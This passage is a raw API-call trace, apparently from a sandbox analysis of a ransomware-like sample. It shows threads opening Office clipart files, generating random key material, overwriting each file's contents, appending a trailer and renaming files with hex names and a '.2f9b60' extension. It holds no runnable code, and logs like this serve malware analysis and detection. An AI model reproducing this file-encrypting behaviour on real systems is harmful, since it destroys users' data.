lpBuffer=0x423ac410*, lpNumberOfBytesWritten=0x254af6b0*=0x10a, lpOverlapped=0x0) returned 1 [0163.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34f0 [0163.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34f0) returned 1 [0163.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34f0 [0163.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34c0 [0163.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34c0) returned 1 [0163.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.706] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="58") returned 2 [0163.706] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="2b") returned 2 [0163.706] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.706] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="43") returned 2 [0163.706] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="23") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="06") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="18") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="85") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="70") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="12") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="07") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="44") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="06") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="15") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="8f") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="a4") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="0c") returned 2 [0163.707] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="90") returned 2 [0163.707] RtlInitAnsiString (in: DestinationString=0x254af728, SourceString="582bf04323e5064d18a98570120744d8d706158f4ea40c90" | out: DestinationString="582bf04323e5064d18a98570120744d8d706158f4ea40c90") [0163.707] RtlAnsiStringToUnicodeString (in: DestinationString=0x254af6f8, SourceString="582bf04323e5064d18a98570120744d8d706158f4ea40c90", AllocateDestinationString=1 | out: DestinationString="582bf04323e5064d18a98570120744d8d706158f4ea40c90") returned 0x0 [0163.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857cd0 [0163.708] RtlFreeAnsiString (AnsiString="5") [0163.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34f0) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac410) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5a50) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5a80) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5a20) returned 1 [0163.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a59f0) returned 1 [0163.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3490) returned 1 [0163.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3550) returned 1 [0163.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3580) returned 1 [0163.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d100 [0163.711] wcscat (in: _Dest=0x4230d100, _Source="582bf04323e5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\582bf04323e5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\582bf04323e5" [0163.711] wcscat (in: _Dest=0x4230d100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\582bf04323e5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\582bf04323e5.2f9b60" [0163.711] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\582bf04323e5.2f9b60", NtPathName=0x254af6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\582bf04323e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278a70 Thread: id = 2341 os_tid = 0x1cf8 [0149.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0149.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF", dwFileAttributes=0x20) returned 1 [0149.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2170 [0149.707] GetFileSizeEx (in: hFile=0x2170, lpFileSize=0x258df800 | out: lpFileSize=0x258df800*=3588) returned 1 [0149.708] SetFilePointerEx (in: hFile=0x2170, liDistanceToMove=0xe00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.708] ReadFile (in: hFile=0x2170, lpBuffer=0x258df780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x258df7c8, lpOverlapped=0x0 | out: lpBuffer=0x258df780*, lpNumberOfBytesRead=0x258df7c8*=0x4, lpOverlapped=0x0) returned 1 [0149.712] SetFilePointerEx (in: hFile=0x2170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3520 [0149.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f35b0 [0149.713] NtQuerySystemTime (in: CurrentTime=0x258df6c0 | out: CurrentTime=0x258df6c0*=132462177549310000) returned 0x0 [0149.713] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x1108c72a [0149.713] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x1081ce1a [0149.713] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x7eb8b801 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x673f4e37 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x50a61a9e [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x10354d38 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x62842f34 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x65620e4c [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x781d9a6f [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x6f936f90 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x63b9a5d0 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x22699acd [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x36993756 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x4026afe0 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0xea61562 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0xdeb23e5 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x77b2183d [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0xcd2a863 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x1028aa83 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x415b7609 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x549a6836 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x62d5a8e1 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0xda7efc7 [0149.714] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x573f531f [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x54605a49 [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x682cf4c0 [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x3cfd8c05 [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x7a83ac4c [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x3053caef [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x699de208 [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x39f18cbc [0149.715] RtlRandomEx (in: Seed=0x258df6b0 | out: Seed=0x258df6b0) returned 0x76343bd2 [0149.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f35e0 [0149.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a330 [0149.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3610 [0149.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a330) returned 1 [0149.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f35b0) returned 1 [0149.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c800 [0149.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a330 [0149.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2041d320 [0149.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20420f30 [0149.730] ReadFile (in: hFile=0x2170, lpBuffer=0x2041d320, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x258df6b0, lpOverlapped=0x0 | out: lpBuffer=0x2041d320*, lpNumberOfBytesRead=0x258df6b0*=0xe04, lpOverlapped=0x0) returned 1 [0149.730] SetFilePointerEx (in: hFile=0x2170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.730] WriteFile (in: hFile=0x2170, lpBuffer=0x20420f30*, nNumberOfBytesToWrite=0xe04, lpNumberOfBytesWritten=0x258df6b4, lpOverlapped=0x0 | out: lpBuffer=0x20420f30*, lpNumberOfBytesWritten=0x258df6b4*=0xe04, lpOverlapped=0x0) returned 1 [0161.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5b70 [0161.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ba0 [0161.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ba0) returned 1 [0161.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20420f30) returned 1 [0161.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2041d320) returned 1 [0161.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a330) returned 1 [0161.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0161.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5ba0 [0161.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c800 [0161.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a330 [0161.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5bd0 [0161.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5bd0) returned 1 [0161.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5bd0 [0161.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5c00 [0161.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5c30 [0161.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c30) returned 1 [0161.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a330) returned 1 [0161.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0161.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac530 [0161.827] SetFilePointerEx (in: hFile=0x2170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.827] WriteFile (in: hFile=0x2170, lpBuffer=0x423ac530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x258df7d0, lpOverlapped=0x0 | out: lpBuffer=0x423ac530*, lpNumberOfBytesWritten=0x258df7d0*=0x10a, lpOverlapped=0x0) returned 1 [0163.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42054030 [0163.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42054030) returned 1 [0163.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42054030 [0163.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42054000 [0163.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42054000) returned 1 [0163.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.722] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="57") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="26") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="68") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="b0") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="75") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="26") returned 2 [0163.722] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="4a") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="c6") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="c9") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="90") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="bc") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="89") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="24") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="57") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="8f") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="a5") returned 2 [0163.723] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.723] RtlInitAnsiString (in: DestinationString=0x258df848, SourceString="572668b04f7526d54a0dc6a9c990bcfe893d2457b78fa5f0" | out: DestinationString="572668b04f7526d54a0dc6a9c990bcfe893d2457b78fa5f0") [0163.723] RtlAnsiStringToUnicodeString (in: DestinationString=0x258df818, SourceString="572668b04f7526d54a0dc6a9c990bcfe893d2457b78fa5f0", AllocateDestinationString=1 | out: DestinationString="572668b04f7526d54a0dc6a9c990bcfe893d2457b78fa5f0") returned 0x0 [0163.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857db0 [0163.723] RtlFreeAnsiString (AnsiString="5") [0163.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42054030) returned 1 [0163.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac530) returned 1 [0163.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5bd0) returned 1 [0163.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c00) returned 1 [0163.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ba0) returned 1 [0163.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5b70) returned 1 [0163.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3520) returned 1 [0163.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f35e0) returned 1 [0163.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3610) returned 1 [0163.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d240 [0163.726] wcscat (in: _Dest=0x4230d240, _Source="572668b04f75" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\572668b04f75") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\572668b04f75" [0163.726] wcscat (in: _Dest=0x4230d240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\572668b04f75.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\572668b04f75.2f9b60" [0163.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\572668b04f75.2f9b60", NtPathName=0x258df7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\572668b04f75.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278fb0 Thread: id = 2342 os_tid = 0x1cfc [0149.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0149.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF", dwFileAttributes=0x20) returned 1 [0149.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2174 [0149.732] GetFileSizeEx (in: hFile=0x2174, lpFileSize=0x240afc00 | out: lpFileSize=0x240afc00*=2228) returned 1 [0149.732] SetFilePointerEx (in: hFile=0x2174, liDistanceToMove=0x8b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.732] ReadFile (in: hFile=0x2174, lpBuffer=0x240afb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x240afbc8, lpOverlapped=0x0 | out: lpBuffer=0x240afb80*, lpNumberOfBytesRead=0x240afbc8*=0x4, lpOverlapped=0x0) returned 1 [0149.734] SetFilePointerEx (in: hFile=0x2174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f35b0 [0149.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3640 [0149.735] NtQuerySystemTime (in: CurrentTime=0x240afac0 | out: CurrentTime=0x240afac0*=132462177549466000) returned 0x0 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x68a587f9 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x5f1afe5d [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x7e58fffe [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x4b9f6305 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x383ace43 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x4fe04e4 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x71cef3a1 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x6be901a6 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x7bdce755 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x6f5be747 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x66314825 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x6fa2c82d [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0xb23d780 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x578dc360 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x28339ae4 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x7f72de61 [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x1965aa9c [0149.735] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x6fd8713b [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x2a0cdaf2 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x78527edd [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x2b89bcb6 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x10982a1f [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x727a56a1 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x3bc9ee61 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x35b9570f [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x5425e47d [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x50dce1c6 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x268dec8a [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x5a0632e7 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x3a414d53 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x780ec3d0 [0149.736] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x70068033 [0149.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3670 [0149.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a3b0 [0149.752] 